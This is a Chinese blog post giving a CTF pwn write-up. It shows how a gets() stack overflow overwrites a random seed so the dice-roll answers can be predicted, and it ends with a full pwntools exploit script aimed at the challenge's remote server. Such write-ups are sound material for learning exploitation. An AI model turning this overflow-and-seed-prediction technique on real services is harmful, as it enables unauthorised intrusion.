pwn -----gets 漏洞的利用

最新推荐文章于 2025-07-27 13:23:17 发布

pipixia233333

最新推荐文章于 2025-07-27 13:23:17 发布

阅读量2.2k

点赞数

CC 4.0 BY-SA版权

分类专栏：栈溢出堆溢出

本文链接：https://blog.youkuaiyun.com/qq_41071646/article/details/85345053

栈溢出堆溢出专栏收录该内容

78 篇文章

订阅专栏

本文介绍了一种通过PWN技术解决安全挑战的方法。利用gets函数的漏洞，通过覆盖随机种子，作者成功预测了随机数生成，从而直接获得了flag。文章详细介绍了从IDA分析到编写Exploit的全过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

其实做pwn题是有一段时间了但是因为复习以及学习驱动所以没有什么时间写博客然后这一次写一个pwn的题

这个题还是很简单的

先用ida 看一下发现了我们这个题有明显的利用漏洞 gets 然后我们发现了有srand 是要确定随机种子那么如果我们把这个种子给覆盖掉那么我们就可以算出随机数直接得到flag

在调试下发现了

然后输入了 33个 1 发现种子（地址是00007FFC1A24E230）

成功被覆盖成1 那么就很好说了

我们直接 32*a +自己想要的种子就可以了

写出 exp

#coding=utf-8
from pwn import*
from ctypes import*
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#io=process('/home/pipixia/桌面/level2' )
io=remote('111.198.29.45','32393')
p='a'*0x20+p64(0)
io.sendlineafter("name:",p)
libc.srand(0)
for i in range(10):
   io.sendlineafter("number:",str(libc.rand()%6+1))

print io.recv()
print io.recv()

然后我一直不知道怎么用python来写rand 现在知道了还要调用外部的库。。。。